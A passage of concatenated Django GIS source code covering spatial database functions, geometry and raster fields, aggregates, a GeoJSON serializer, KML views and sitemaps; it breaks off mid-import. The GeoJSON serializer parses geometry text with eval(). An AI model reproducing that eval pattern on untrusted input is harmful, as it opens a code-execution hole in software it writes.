        expressions = [version, expression]
        if precision is not None:
            expressions.append(self._handle_param(precision, 'precision', six.integer_types))
        super(AsGML, self).__init__(*expressions, **extra)


class AsKML(AsGML):
    def as_sqlite(self, compiler, connection):
        # No version parameter
        self.source_expressions.pop(0)
        return super(AsKML, self).as_sql(compiler, connection)


class AsSVG(GeoFunc):
    output_field_class = TextField

    def __init__(self, expression, relative=False, precision=8, **extra):
        relative = relative if hasattr(relative, 'resolve_expression') else int(relative)
        expressions = [
            expression,
            relative,
            self._handle_param(precision, 'precision', six.integer_types),
        ]
        super(AsSVG, self).__init__(*expressions, **extra)


class BoundingCircle(GeoFunc):
    def __init__(self, expression, num_seg=48, **extra):
        super(BoundingCircle, self).__init__(*[expression, num_seg], **extra)


class Centroid(OracleToleranceMixin, GeoFunc):
    arity = 1


class Difference(OracleToleranceMixin, GeoFuncWithGeoParam):
    arity = 2


class DistanceResultMixin(object):
    def source_is_geography(self):
        return self.get_source_fields()[0].geography and self.srid == 4326

    def convert_value(self, value, expression, connection, context):
        if value is None:
            return None
        geo_field = GeometryField(srid=self.srid)  # Fake field to get SRID info
        if geo_field.geodetic(connection):
            dist_att = 'm'
        else:
            units = geo_field.units_name(connection)
            if units:
                dist_att = DistanceMeasure.unit_attname(units)
            else:
                dist_att = None
        if dist_att:
            return DistanceMeasure(**{dist_att: value})
        return value


class Distance(DistanceResultMixin, OracleToleranceMixin, GeoFuncWithGeoParam):
    output_field_class = FloatField
    spheroid = None

    def __init__(self, expr1, expr2, spheroid=None, **extra):
        expressions = [expr1, expr2]
        if spheroid is not None:
            self.spheroid = spheroid
            expressions += (self._handle_param(spheroid, 'spheroid', bool),)
        super(Distance, self).__init__(*expressions, **extra)

    def as_postgresql(self, compiler, connection):
        geo_field = GeometryField(srid=self.srid)  # Fake field to get SRID info
        if self.source_is_geography():
            # Set parameters as geography if base field is geography
            for pos, expr in enumerate(
                    self.source_expressions[self.geom_param_pos + 1:], start=self.geom_param_pos + 1):
                if isinstance(expr, GeomValue):
                    expr.geography = True
        elif geo_field.geodetic(connection):
            # Geometry fields with geodetic (lon/lat) coordinates need special distance functions
            if self.spheroid:
                self.function = 'ST_Distance_Spheroid'  # More accurate, resource intensive
                # Replace boolean param by the real spheroid of the base field
                self.source_expressions[2] = Value(geo_field._spheroid)
            else:
                self.function = 'ST_Distance_Sphere'
        return super(Distance, self).as_sql(compiler, connection)

    def as_oracle(self, compiler, connection):
        if self.spheroid:
            self.source_expressions.pop(2)
        return super(Distance, self).as_oracle(compiler, connection)


class Envelope(GeoFunc):
    arity = 1


class ForceRHR(GeoFunc):
    arity = 1


class GeoHash(GeoFunc):
    output_field_class = TextField

    def __init__(self, expression, precision=None, **extra):
        expressions = [expression]
        if precision is not None:
            expressions.append(self._handle_param(precision, 'precision', six.integer_types))
        super(GeoHash, self).__init__(*expressions, **extra)


class Intersection(OracleToleranceMixin, GeoFuncWithGeoParam):
    arity = 2


class IsValid(GeoFunc):
    output_field_class = BooleanField


class Length(DistanceResultMixin, OracleToleranceMixin, GeoFunc):
    output_field_class = FloatField

    def __init__(self, expr1, spheroid=True, **extra):
        self.spheroid = spheroid
        super(Length, self).__init__(expr1, **extra)

    def as_sql(self, compiler, connection):
        geo_field = GeometryField(srid=self.srid)  # Fake field to get SRID info
        if geo_field.geodetic(connection) and not connection.features.supports_length_geodetic:
            raise NotImplementedError("This backend doesn't support Length on geodetic fields")
        return super(Length, self).as_sql(compiler, connection)

    def as_postgresql(self, compiler, connection):
        geo_field = GeometryField(srid=self.srid)  # Fake field to get SRID info
        if self.source_is_geography():
            self.source_expressions.append(Value(self.spheroid))
        elif geo_field.geodetic(connection):
            # Geometry fields with geodetic (lon/lat) coordinates need length_spheroid
            self.function = 'ST_Length_Spheroid'
            self.source_expressions.append(Value(geo_field._spheroid))
        else:
            dim = min(f.dim for f in self.get_source_fields() if f)
            if dim > 2:
                self.function = connection.ops.length3d
        return super(Length, self).as_sql(compiler, connection)

    def as_sqlite(self, compiler, connection):
        geo_field = GeometryField(srid=self.srid)
        if geo_field.geodetic(connection):
            if self.spheroid:
                self.function = 'GeodesicLength'
            else:
                self.function = 'GreatCircleLength'
        return super(Length, self).as_sql(compiler, connection)


class MakeValid(GeoFunc):
    pass


class MemSize(GeoFunc):
    output_field_class = IntegerField
    arity = 1


class NumGeometries(GeoFunc):
    output_field_class = IntegerField
    arity = 1


class NumPoints(GeoFunc):
    output_field_class = IntegerField
    arity = 1

    def as_sqlite(self, compiler, connection):
        if self.source_expressions[self.geom_param_pos].output_field.geom_type != 'LINESTRING':
            raise TypeError("SpatiaLite NumPoints can only operate on LineString content")
        return super(NumPoints, self).as_sql(compiler, connection)


class Perimeter(DistanceResultMixin, OracleToleranceMixin, GeoFunc):
    output_field_class = FloatField
    arity = 1

    def as_postgresql(self, compiler, connection):
        geo_field = GeometryField(srid=self.srid)  # Fake field to get SRID info
        if geo_field.geodetic(connection) and not self.source_is_geography():
            raise NotImplementedError("ST_Perimeter cannot use a non-projected non-geography field.")
        dim = min(f.dim for f in self.get_source_fields())
        if dim > 2:
            self.function = connection.ops.perimeter3d
        return super(Perimeter, self).as_sql(compiler, connection)

    def as_sqlite(self, compiler, connection):
        geo_field = GeometryField(srid=self.srid)  # Fake field to get SRID info
        if geo_field.geodetic(connection):
            raise NotImplementedError("Perimeter cannot use a non-projected field.")
        return super(Perimeter, self).as_sql(compiler, connection)


class PointOnSurface(OracleToleranceMixin, GeoFunc):
    arity = 1


class Reverse(GeoFunc):
    arity = 1


class Scale(SQLiteDecimalToFloatMixin, GeoFunc):
    def __init__(self, expression, x, y, z=0.0, **extra):
        expressions = [
            expression,
            self._handle_param(x, 'x', NUMERIC_TYPES),
            self._handle_param(y, 'y', NUMERIC_TYPES),
        ]
        if z != 0.0:
            expressions.append(self._handle_param(z, 'z', NUMERIC_TYPES))
        super(Scale, self).__init__(*expressions, **extra)


class SnapToGrid(SQLiteDecimalToFloatMixin, GeoFunc):
    def __init__(self, expression, *args, **extra):
        nargs = len(args)
        expressions = [expression]
        if nargs in (1, 2):
            expressions.extend(
                [self._handle_param(arg, '', NUMERIC_TYPES) for arg in args]
            )
        elif nargs == 4:
            # Reverse origin and size param ordering
            expressions.extend(
                [self._handle_param(arg, '', NUMERIC_TYPES) for arg in args[2:]]
            )
            expressions.extend(
                [self._handle_param(arg, '', NUMERIC_TYPES) for arg in args[0:2]]
            )
        else:
            raise ValueError('Must provide 1, 2, or 4 arguments to `SnapToGrid`.')
        super(SnapToGrid, self).__init__(*expressions, **extra)


class SymDifference(OracleToleranceMixin, GeoFuncWithGeoParam):
    arity = 2


class Transform(GeoFunc):
    def __init__(self, expression, srid, **extra):
        expressions = [
            expression,
            self._handle_param(srid, 'srid', six.integer_types),
        ]
        super(Transform, self).__init__(*expressions, **extra)

    @property
    def srid(self):
        # Make srid the resulting srid of the transformation
        return self.source_expressions[self.geom_param_pos + 1].value

    def convert_value(self, value, expression, connection, context):
        value = super(Transform, self).convert_value(value, expression, connection, context)
        if not connection.ops.postgis and not value.srid:
            # Some backends do not set the srid on the returning geometry
            value.srid = self.srid
        return value


class Translate(Scale):
    def as_sqlite(self, compiler, connection):
        if len(self.source_expressions) < 4:
            # Always provide the z parameter for ST_Translate
            self.source_expressions.append(Value(0))
        return super(Translate, self).as_sqlite(compiler, connection)


class Union(OracleToleranceMixin, GeoFuncWithGeoParam):
    arity = 2






from django.db.models import *  # NOQA isort:skip
from django.contrib.gis.db.models.aggregates import *  # NOQA
from django.contrib.gis.db.models.fields import (  # NOQA
    GeometryCollectionField, GeometryField, LineStringField,
    MultiLineStringField, MultiPointField, MultiPolygonField, PointField,
    PolygonField, RasterField,
)
from django.contrib.gis.db.models.manager import GeoManager  # NOQA






from django.contrib.gis import forms, gdal
from django.contrib.gis.db.models.lookups import (
    RasterBandTransform, gis_lookups,
)
from django.contrib.gis.db.models.proxy import SpatialProxy
from django.contrib.gis.gdal.error import GDALException
from django.contrib.gis.geometry.backend import Geometry, GeometryException
from django.core.exceptions import ImproperlyConfigured
from django.db.models.expressions import Expression
from django.db.models.fields import Field
from django.utils import six
from django.utils.translation import ugettext_lazy as _

# Local cache of the spatial_ref_sys table, which holds SRID data for each
# spatial database alias. This cache exists so that the database isn't queried
# for SRID info each time a distance query is constructed.
_srid_cache = {}


def get_srid_info(srid, connection):
    """
    Returns the units, unit name, and spheroid WKT associated with the
    given SRID from the `spatial_ref_sys` (or equivalent) spatial database
    table for the given database connection.  These results are cached.
    """
    global _srid_cache

    try:
        # The SpatialRefSys model for the spatial backend.
        SpatialRefSys = connection.ops.spatial_ref_sys()
    except NotImplementedError:
        # No `spatial_ref_sys` table in spatial backend (e.g., MySQL).
        return None, None, None

    if connection.alias not in _srid_cache:
        # Initialize SRID dictionary for database if it doesn't exist.
        _srid_cache[connection.alias] = {}

    if srid not in _srid_cache[connection.alias]:
        # Use `SpatialRefSys` model to query for spatial reference info.
        sr = SpatialRefSys.objects.using(connection.alias).get(srid=srid)
        units, units_name = sr.units
        spheroid = SpatialRefSys.get_spheroid(sr.wkt)
        _srid_cache[connection.alias][srid] = (units, units_name, spheroid)

    return _srid_cache[connection.alias][srid]


class GeoSelectFormatMixin(object):
    def select_format(self, compiler, sql, params):
        """
        Returns the selection format string, depending on the requirements
        of the spatial backend.  For example, Oracle and MySQL require custom
        selection formats in order to retrieve geometries in OGC WKT. For all
        other fields a simple '%s' format string is returned.
        """
        connection = compiler.connection
        srid = compiler.query.get_context('transformed_srid')
        if srid:
            sel_fmt = '%s(%%s, %s)' % (connection.ops.transform, srid)
        else:
            sel_fmt = '%s'
        if connection.ops.select:
            # This allows operations to be done on fields in the SELECT,
            # overriding their values -- used by the Oracle and MySQL
            # spatial backends to get database values as WKT, and by the
            # `transform` method.
            sel_fmt = connection.ops.select % sel_fmt
        return sel_fmt % sql, params


class BaseSpatialField(Field):
    """
    The Base GIS Field.

    It's used as a base class for GeometryField and RasterField. Defines
    properties that are common to all GIS fields such as the characteristics
    of the spatial reference system of the field.
    """
    description = _("The base GIS field.")
    empty_strings_allowed = False
    # Geodetic units.
    geodetic_units = ('decimal degree', 'degree')

    def __init__(self, verbose_name=None, srid=4326, spatial_index=True, **kwargs):
        """
        The initialization function for base spatial fields. Takes the following
        as keyword arguments:

        srid:
         The spatial reference system identifier, an OGC standard.
         Defaults to 4326 (WGS84).

        spatial_index:
         Indicates whether to create a spatial index.  Defaults to True.
         Set this instead of 'db_index' for geographic fields since index
         creation is different for geometry columns.
        """

        # Setting the index flag with the value of the `spatial_index` keyword.
        self.spatial_index = spatial_index

        # Setting the SRID and getting the units.  Unit information must be
        # easily available in the field instance for distance queries.
        self.srid = srid

        # Setting the verbose_name keyword argument with the positional
        # first parameter, so this works like normal fields.
        kwargs['verbose_name'] = verbose_name

        super(BaseSpatialField, self).__init__(**kwargs)

    def deconstruct(self):
        name, path, args, kwargs = super(BaseSpatialField, self).deconstruct()
        # Always include SRID for less fragility; include spatial index if it's
        # not the default value.
        kwargs['srid'] = self.srid
        if self.spatial_index is not True:
            kwargs['spatial_index'] = self.spatial_index
        return name, path, args, kwargs

    def db_type(self, connection):
        return connection.ops.geo_db_type(self)

    # The following functions are used to get the units, their name, and
    # the spheroid corresponding to the SRID of the BaseSpatialField.
    def _get_srid_info(self, connection):
        # Get attributes from `get_srid_info`.
        self._units, self._units_name, self._spheroid = get_srid_info(self.srid, connection)

    def spheroid(self, connection):
        if not hasattr(self, '_spheroid'):
            self._get_srid_info(connection)
        return self._spheroid

    def units(self, connection):
        if not hasattr(self, '_units'):
            self._get_srid_info(connection)
        return self._units

    def units_name(self, connection):
        if not hasattr(self, '_units_name'):
            self._get_srid_info(connection)
        return self._units_name

    def geodetic(self, connection):
        """
        Returns true if this field's SRID corresponds with a coordinate
        system that uses non-projected units (e.g., latitude/longitude).
        """
        units_name = self.units_name(connection)
        # Some backends like MySQL cannot determine units name. In that case,
        # test if srid is 4326 (WGS84), even if this is over-simplification.
        return units_name.lower() in self.geodetic_units if units_name else self.srid == 4326

    def get_placeholder(self, value, compiler, connection):
        """
        Returns the placeholder for the spatial column for the
        given value.
        """
        return connection.ops.get_geom_placeholder(self, value, compiler)

    def get_srid(self, obj):
        """
        Return the default SRID for the given geometry or raster, taking into
        account the SRID set for the field. For example, if the input geometry
        or raster doesn't have an SRID, then the SRID of the field will be
        returned.
        """
        srid = obj.srid  # SRID of given geometry.
        if srid is None or self.srid == -1 or (srid == -1 and self.srid != -1):
            return self.srid
        else:
            return srid

    def get_db_prep_save(self, value, connection):
        """
        Prepare the value for saving in the database.
        """
        if not value:
            return None
        else:
            return connection.ops.Adapter(self.get_prep_value(value))

    def get_raster_prep_value(self, value, is_candidate):
        """
        Return a GDALRaster if conversion is successful, otherwise return None.
        """
        if isinstance(value, gdal.GDALRaster):
            return value
        elif is_candidate:
            try:
                return gdal.GDALRaster(value)
            except GDALException:
                pass
        elif isinstance(value, dict):
            try:
                return gdal.GDALRaster(value)
            except GDALException:
                raise ValueError("Couldn't create spatial object from lookup value '%s'." % value)

    def get_prep_value(self, value):
        """
        Spatial lookup values are either a parameter that is (or may be
        converted to) a geometry or raster, or a sequence of lookup values
        that begins with a geometry or raster. This routine sets up the
        geometry or raster value properly and preserves any other lookup
        parameters.
        """
        value = super(BaseSpatialField, self).get_prep_value(value)

        # For IsValid lookups, boolean values are allowed.
        if isinstance(value, (Expression, bool)):
            return value
        elif isinstance(value, (tuple, list)):
            obj = value[0]
            seq_value = True
        else:
            obj = value
            seq_value = False

        # When the input is not a geometry or raster, attempt to construct one
        # from the given string input.
        if isinstance(obj, Geometry):
            pass
        else:
            # Check if input is a candidate for conversion to raster or geometry.
            is_candidate = isinstance(obj, (bytes, six.string_types)) or hasattr(obj, '__geo_interface__')
            # Try to convert the input to raster.
            raster = self.get_raster_prep_value(obj, is_candidate)

            if raster:
                obj = raster
            elif is_candidate:
                try:
                    obj = Geometry(obj)
                except (GeometryException, GDALException):
                    raise ValueError("Couldn't create spatial object from lookup value '%s'." % obj)
            else:
                raise ValueError('Cannot use object with type %s for a spatial lookup parameter.' % type(obj).__name__)

        # Assigning the SRID value.
        obj.srid = self.get_srid(obj)

        if seq_value:
            lookup_val = [obj]
            lookup_val.extend(value[1:])
            return tuple(lookup_val)
        else:
            return obj

for klass in gis_lookups.values():
    BaseSpatialField.register_lookup(klass)


class GeometryField(GeoSelectFormatMixin, BaseSpatialField):
    """
    The base Geometry field -- maps to the OpenGIS Specification Geometry type.
    """
    description = _("The base Geometry field -- maps to the OpenGIS Specification Geometry type.")
    form_class = forms.GeometryField
    # The OpenGIS Geometry name.
    geom_type = 'GEOMETRY'

    def __init__(self, verbose_name=None, dim=2, geography=False, **kwargs):
        """
        The initialization function for geometry fields. In addition to the
        parameters from BaseSpatialField, it takes the following as keyword
        arguments:

        dim:
         The number of dimensions for this geometry.  Defaults to 2.

        extent:
         Customize the extent, in a 4-tuple of WGS 84 coordinates, for the
         geometry field entry in the `USER_SDO_GEOM_METADATA` table.  Defaults
         to (-180.0, -90.0, 180.0, 90.0).

        tolerance:
         Define the tolerance, in meters, to use for the geometry field
         entry in the `USER_SDO_GEOM_METADATA` table.  Defaults to 0.05.
        """
        # Setting the dimension of the geometry field.
        self.dim = dim

        # Is this a geography rather than a geometry column?
        self.geography = geography

        # Oracle-specific private attributes for creating the entry in
        # `USER_SDO_GEOM_METADATA`
        self._extent = kwargs.pop('extent', (-180.0, -90.0, 180.0, 90.0))
        self._tolerance = kwargs.pop('tolerance', 0.05)

        super(GeometryField, self).__init__(verbose_name=verbose_name, **kwargs)

    def deconstruct(self):
        name, path, args, kwargs = super(GeometryField, self).deconstruct()
        # Include kwargs if they're not the default values.
        if self.dim != 2:
            kwargs['dim'] = self.dim
        if self.geography is not False:
            kwargs['geography'] = self.geography
        return name, path, args, kwargs

    # ### Routines specific to GeometryField ###
    def get_distance(self, value, lookup_type, connection):
        """
        Returns a distance number in units of the field.  For example, if
        `D(km=1)` was passed in and the units of the field were in meters,
        then 1000 would be returned.
        """
        return connection.ops.get_distance(self, value, lookup_type)

    def from_db_value(self, value, expression, connection, context):
        if value:
            if not isinstance(value, Geometry):
                value = Geometry(value)
            srid = value.srid
            if not srid and self.srid != -1:
                value.srid = self.srid
        return value

    # ### Routines overloaded from Field ###
    def contribute_to_class(self, cls, name, **kwargs):
        super(GeometryField, self).contribute_to_class(cls, name, **kwargs)

        # Setup for lazy-instantiated Geometry object.
        setattr(cls, self.attname, SpatialProxy(Geometry, self))

    def formfield(self, **kwargs):
        defaults = {'form_class': self.form_class,
                    'geom_type': self.geom_type,
                    'srid': self.srid,
                    }
        defaults.update(kwargs)
        if (self.dim > 2 and 'widget' not in kwargs and
                not getattr(defaults['form_class'].widget, 'supports_3d', False)):
            defaults['widget'] = forms.Textarea
        return super(GeometryField, self).formfield(**defaults)

    def _get_db_prep_lookup(self, lookup_type, value, connection):
        """
        Prepare for the database lookup, and return any spatial parameters
        necessary for the query.  This includes wrapping any geometry
        parameters with a backend-specific adapter and formatting any distance
        parameters into the correct units for the coordinate system of the
        field.

        Only used by the deprecated GeoQuerySet and to be
        RemovedInDjango20Warning.
        """
        # Populating the parameters list, and wrapping the Geometry
        # with the Adapter of the spatial backend.
        if isinstance(value, (tuple, list)):
            params = [connection.ops.Adapter(value[0])]
            # Getting the distance parameter in the units of the field.
            params += self.get_distance(value[1:], lookup_type, connection)
        else:
            params = [connection.ops.Adapter(value)]
        return params


# The OpenGIS Geometry Type Fields
class PointField(GeometryField):
    geom_type = 'POINT'
    form_class = forms.PointField
    description = _("Point")


class LineStringField(GeometryField):
    geom_type = 'LINESTRING'
    form_class = forms.LineStringField
    description = _("Line string")


class PolygonField(GeometryField):
    geom_type = 'POLYGON'
    form_class = forms.PolygonField
    description = _("Polygon")


class MultiPointField(GeometryField):
    geom_type = 'MULTIPOINT'
    form_class = forms.MultiPointField
    description = _("Multi-point")


class MultiLineStringField(GeometryField):
    geom_type = 'MULTILINESTRING'
    form_class = forms.MultiLineStringField
    description = _("Multi-line string")


class MultiPolygonField(GeometryField):
    geom_type = 'MULTIPOLYGON'
    form_class = forms.MultiPolygonField
    description = _("Multi polygon")


class GeometryCollectionField(GeometryField):
    geom_type = 'GEOMETRYCOLLECTION'
    form_class = forms.GeometryCollectionField
    description = _("Geometry collection")


class ExtentField(GeoSelectFormatMixin, Field):
    "Used as a return value from an extent aggregate"

    description = _("Extent Aggregate Field")

    def get_internal_type(self):
        return "ExtentField"


class RasterField(BaseSpatialField):
    """
    Raster field for GeoDjango -- evaluates into GDALRaster objects.
    """

    description = _("Raster Field")
    geom_type = 'RASTER'
    geography = False

    def _check_connection(self, connection):
        # Make sure raster fields are used only on backends with raster support.
        if not connection.features.gis_enabled or not connection.features.supports_raster:
            raise ImproperlyConfigured('Raster fields require backends with raster support.')

    def db_type(self, connection):
        self._check_connection(connection)
        return super(RasterField, self).db_type(connection)

    def from_db_value(self, value, expression, connection, context):
        return connection.ops.parse_raster(value)

    def get_db_prep_value(self, value, connection, prepared=False):
        self._check_connection(connection)
        # Prepare raster for writing to database.
        if not prepared:
            value = connection.ops.deconstruct_raster(value)
        return super(RasterField, self).get_db_prep_value(value, connection, prepared)

    def contribute_to_class(self, cls, name, **kwargs):
        super(RasterField, self).contribute_to_class(cls, name, **kwargs)
        # Setup for lazy-instantiated Raster object. For large querysets, the
        # instantiation of all GDALRasters can potentially be expensive. This
        # delays the instantiation of the objects to the moment of evaluation
        # of the raster attribute.
        setattr(cls, self.attname, SpatialProxy(gdal.GDALRaster, self))

    def get_transform(self, name):
        try:
            band_index = int(name)
            return type(
                'SpecificRasterBandTransform',
                (RasterBandTransform, ),
                {'band_index': band_index}
            )
        except ValueError:
            pass
        return super(RasterField, self).get_transform(name)






from django.contrib.gis.db.models.fields import ExtentField
from django.db.models.aggregates import Aggregate

__all__ = ['Collect', 'Extent', 'Extent3D', 'MakeLine', 'Union']


class GeoAggregate(Aggregate):
    function = None
    is_extent = False

    def as_sql(self, compiler, connection):
        # this will be called again in parent, but it's needed now - before
        # we get the spatial_aggregate_name
        connection.ops.check_expression_support(self)
        self.function = connection.ops.spatial_aggregate_name(self.name)
        return super(GeoAggregate, self).as_sql(compiler, connection)

    def as_oracle(self, compiler, connection):
        if not hasattr(self, 'tolerance'):
            self.tolerance = 0.05
        self.extra['tolerance'] = self.tolerance
        if not self.is_extent:
            self.template = '%(function)s(SDOAGGRTYPE(%(expressions)s,%(tolerance)s))'
        return self.as_sql(compiler, connection)

    def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
        c = super(GeoAggregate, self).resolve_expression(query, allow_joins, reuse, summarize, for_save)
        for expr in c.get_source_expressions():
            if not hasattr(expr.field, 'geom_type'):
                raise ValueError('Geospatial aggregates only allowed on geometry fields.')
        return c

    def convert_value(self, value, expression, connection, context):
        return connection.ops.convert_geom(value, self.output_field)


class Collect(GeoAggregate):
    name = 'Collect'


class Extent(GeoAggregate):
    name = 'Extent'
    is_extent = '2D'

    def __init__(self, expression, **extra):
        super(Extent, self).__init__(expression, output_field=ExtentField(), **extra)

    def convert_value(self, value, expression, connection, context):
        return connection.ops.convert_extent(value, context.get('transformed_srid'))


class Extent3D(GeoAggregate):
    name = 'Extent3D'
    is_extent = '3D'

    def __init__(self, expression, **extra):
        super(Extent3D, self).__init__(expression, output_field=ExtentField(), **extra)

    def convert_value(self, value, expression, connection, context):
        return connection.ops.convert_extent3d(value, context.get('transformed_srid'))


class MakeLine(GeoAggregate):
    name = 'MakeLine'


class Union(GeoAggregate):
    name = 'Union'






import warnings

from django.contrib.gis.db.models.query import GeoQuerySet
from django.db.models.manager import Manager
from django.utils.deprecation import RemovedInDjango20Warning


class GeoManager(Manager.from_queryset(GeoQuerySet)):
    "Overrides Manager to return Geographic QuerySets."

    # This manager should be used for queries on related fields
    # so that geometry columns on Oracle and MySQL are selected
    # properly.
    use_for_related_fields = True

    # No need to bother users with the use_for_related_fields
    # deprecation for this manager which is itself deprecated.
    silence_use_for_related_fields_deprecation = True

    def __init__(self, *args, **kwargs):
        warnings.warn(
            "The GeoManager class is deprecated. Simply use a normal manager "
            "once you have replaced all calls to GeoQuerySet methods by annotations.",
            RemovedInDjango20Warning, stacklevel=2
        )
        super(GeoManager, self).__init__(*args, **kwargs)






"""
This module holds simple classes to convert geospatial values from the
database.
"""
from __future__ import unicode_literals

from decimal import Decimal

from django.contrib.gis.db.models.fields import GeoSelectFormatMixin
from django.contrib.gis.geometry.backend import Geometry
from django.contrib.gis.measure import Area, Distance


class BaseField(object):
    empty_strings_allowed = True

    def get_db_converters(self, connection):
        return [self.from_db_value]

    def select_format(self, compiler, sql, params):
        return sql, params


class AreaField(BaseField):
    "Wrapper for Area values."
    def __init__(self, area_att=None):
        self.area_att = area_att

    def from_db_value(self, value, expression, connection, context):
        if connection.features.interprets_empty_strings_as_nulls and value == '':
            value = None
        # If the database returns a Decimal, convert it to a float as expected
        # by the Python geometric objects.
        if isinstance(value, Decimal):
            value = float(value)
        # If the units are known, convert value into area measure.
        if value is not None and self.area_att:
            value = Area(**{self.area_att: value})
        return value

    def get_internal_type(self):
        return 'AreaField'


class DistanceField(BaseField):
    "Wrapper for Distance values."
    def __init__(self, distance_att):
        self.distance_att = distance_att

    def from_db_value(self, value, expression, connection, context):
        if value is not None:
            value = Distance(**{self.distance_att: value})
        return value

    def get_internal_type(self):
        return 'DistanceField'


class GeomField(GeoSelectFormatMixin, BaseField):
    """
    Wrapper for Geometry values.  It is a lightweight alternative to
    using GeometryField (which requires an SQL query upon instantiation).
    """
    # Hacky marker for get_db_converters()
    geom_type = None

    def from_db_value(self, value, expression, connection, context):
        if value is not None:
            value = Geometry(value)
        return value

    def get_internal_type(self):
        return 'GeometryField'


class GMLField(BaseField):
    """
    Wrapper for GML to be used by Oracle to ensure Database.LOB conversion.
    """

    def get_internal_type(self):
        return 'GMLField'

    def from_db_value(self, value, expression, connection, context):
        return value






from django.contrib.gis.db.models.sql.conversion import (
    AreaField, DistanceField, GeomField, GMLField,
)

__all__ = [
    'AreaField', 'DistanceField', 'GeomField', 'GMLField'
]












from __future__ import unicode_literals

from django.contrib.gis.gdal import HAS_GDAL
from django.core.serializers.base import SerializerDoesNotExist
from django.core.serializers.json import Serializer as JSONSerializer

if HAS_GDAL:
    from django.contrib.gis.gdal import CoordTransform, SpatialReference


class Serializer(JSONSerializer):
    """
    Convert a queryset to GeoJSON, http://geojson.org/
    """
    def _init_options(self):
        super(Serializer, self)._init_options()
        self.geometry_field = self.json_kwargs.pop('geometry_field', None)
        self.srid = self.json_kwargs.pop('srid', 4326)
        if (self.selected_fields is not None and self.geometry_field is not None and
                self.geometry_field not in self.selected_fields):
            self.selected_fields = list(self.selected_fields) + [self.geometry_field]

    def start_serialization(self):
        self._init_options()
        self._cts = {}  # cache of CoordTransform's
        self.stream.write(
            '{"type": "FeatureCollection", "crs": {"type": "name", "properties": {"name": "EPSG:%d"}},'
            ' "features": [' % self.srid)

    def end_serialization(self):
        self.stream.write(']}')

    def start_object(self, obj):
        super(Serializer, self).start_object(obj)
        self._geometry = None
        if self.geometry_field is None:
            # Find the first declared geometry field
            for field in obj._meta.fields:
                if hasattr(field, 'geom_type'):
                    self.geometry_field = field.name
                    break

    def get_dump_object(self, obj):
        data = {
            "type": "Feature",
            "properties": self._current,
        }
        if ((self.selected_fields is None or 'pk' in self.selected_fields) and
                'pk' not in data["properties"]):
            data["properties"]["pk"] = obj._meta.pk.value_to_string(obj)
        if self._geometry:
            if self._geometry.srid != self.srid:
                # If needed, transform the geometry in the srid of the global geojson srid
                if self._geometry.srid not in self._cts:
                    srs = SpatialReference(self.srid)
                    self._cts[self._geometry.srid] = CoordTransform(self._geometry.srs, srs)
                self._geometry.transform(self._cts[self._geometry.srid])
            data["geometry"] = eval(self._geometry.geojson)
        else:
            data["geometry"] = None
        return data

    def handle_field(self, obj, field):
        if field.name == self.geometry_field:
            self._geometry = field.value_from_object(obj)
        else:
            super(Serializer, self).handle_field(obj, field)


class Deserializer(object):
    def __init__(self, *args, **kwargs):
        raise SerializerDoesNotExist("geojson is a serialization-only serializer")






from __future__ import unicode_literals

from django.apps import apps
from django.contrib.gis.db.models.fields import GeometryField
from django.contrib.gis.db.models.functions import AsKML, Transform
from django.contrib.gis.shortcuts import render_to_kml, render_to_kmz
from django.core.exceptions import FieldDoesNotExist
from django.db import DEFAULT_DB_ALIAS, connections
from django.http import Http404


def kml(request, label, model, field_name=None, compress=False, using=DEFAULT_DB_ALIAS):
    """
    This view generates KML for the given app label, model, and field name.

    The field name must be that of a geographic field.
    """
    placemarks = []
    try:
        klass = apps.get_model(label, model)
    except LookupError:
        raise Http404('You must supply a valid app label and module name.  Got "%s.%s"' % (label, model))

    if field_name:
        try:
            field = klass._meta.get_field(field_name)
            if not isinstance(field, GeometryField):
                raise FieldDoesNotExist
        except FieldDoesNotExist:
            raise Http404('Invalid geometry field.')

    connection = connections[using]

    if connection.features.has_AsKML_function:
        # Database will take care of transformation.
        placemarks = klass._default_manager.using(using).annotate(kml=AsKML(field_name))
    else:
        # If the database offers no KML method, we use the `kml`
        # attribute of the lazy geometry instead.
        placemarks = []
        if connection.features.has_Transform_function:
            qs = klass._default_manager.using(using).annotate(
                **{'%s_4326' % field_name: Transform(field_name, 4326)})
            field_name += '_4326'
        else:
            qs = klass._default_manager.using(using).all()
        for mod in qs:
            mod.kml = getattr(mod, field_name).kml
            placemarks.append(mod)

    # Getting the render function and rendering to the correct.
    if compress:
        render = render_to_kmz
    else:
        render = render_to_kml
    return render('gis/kml/placemarks.kml', {'places': placemarks})


def kmz(request, label, model, field_name=None, using=DEFAULT_DB_ALIAS):
    """
    This view returns KMZ for the given app label, model, and field name.
    """
    return kml(request, label, model, field_name, compress=True, using=using)






# Geo-enabled Sitemap classes.
from django.contrib.gis.sitemaps.kml import KMLSitemap, KMZSitemap

__all__ = ['KMLSitemap', 'KMZSitemap']






from django.apps import apps
from django.contrib.gis.db.models.fields import GeometryField
from django.contrib.sitemaps import Sitemap
from django.db import models
from django.urls import reverse


class KMLSitemap(Sitemap):
    """
    A minimal hook to produce KML sitemaps.
    """
    geo_format = 'kml'

    def __init__(self, locations=None):
        # If no locations specified, then we try to build for
        # every model in installed applications.
        self.locations = self._build_kml_sources(locations)

    def _build_kml_sources(self, sources):
        """
        Goes through the given sources and returns a 3-tuple of
        the application label, module name, and field name of every
        GeometryField encountered in the sources.

        If no sources are provided, then all models.
        """
        kml_sources = []
        if sources is None:
            sources = apps.get_models()
        for source in sources:
            if isinstance(source, models.base.ModelBase):
                for field in source._meta.fields:
                    if isinstance(field, GeometryField):
                        kml_sources.append((source._meta.app_label,
                                            source._meta.model_name,
                                            field.name))
            elif isinstance(source, (list, tuple)):
                if len(source) != 3:
                    raise ValueError('Must specify a 3-tuple of (app_label, module_name, field_name).')
                kml_sources.append(source)
            else:
                raise TypeError('KML Sources must be a model or a 3-tuple.')
        return kml_sources

    def get_urls(self, page=1, site=None, protocol=None):
        """
        This method is overridden so the appropriate `geo_format` attribute
        is placed on each URL element.
        """
        urls = Sitemap.get_urls(self, page=page, site=site, protocol=protocol)
        for url in urls:
            url['geo_format'] = self.geo_format
        return urls

    def items(self):
        return self.locations

    def location(self, obj):
        return reverse(
            'django.contrib.gis.sitemaps.views.%s' % self.geo_format,
            kwargs={
                'label': obj[0],
                'model': obj[1],
                'field_name': obj[2],
            },
        )


class KMZSitemap(KMLSitemap):
    geo_format = 'kmz'






import os
import re
import warnings
from ctypes import c_char_p

from django.contrib.gis.geoip.libgeoip import GEOIP_SETTINGS
from django.contrib.gis.geoip.prototypes import (
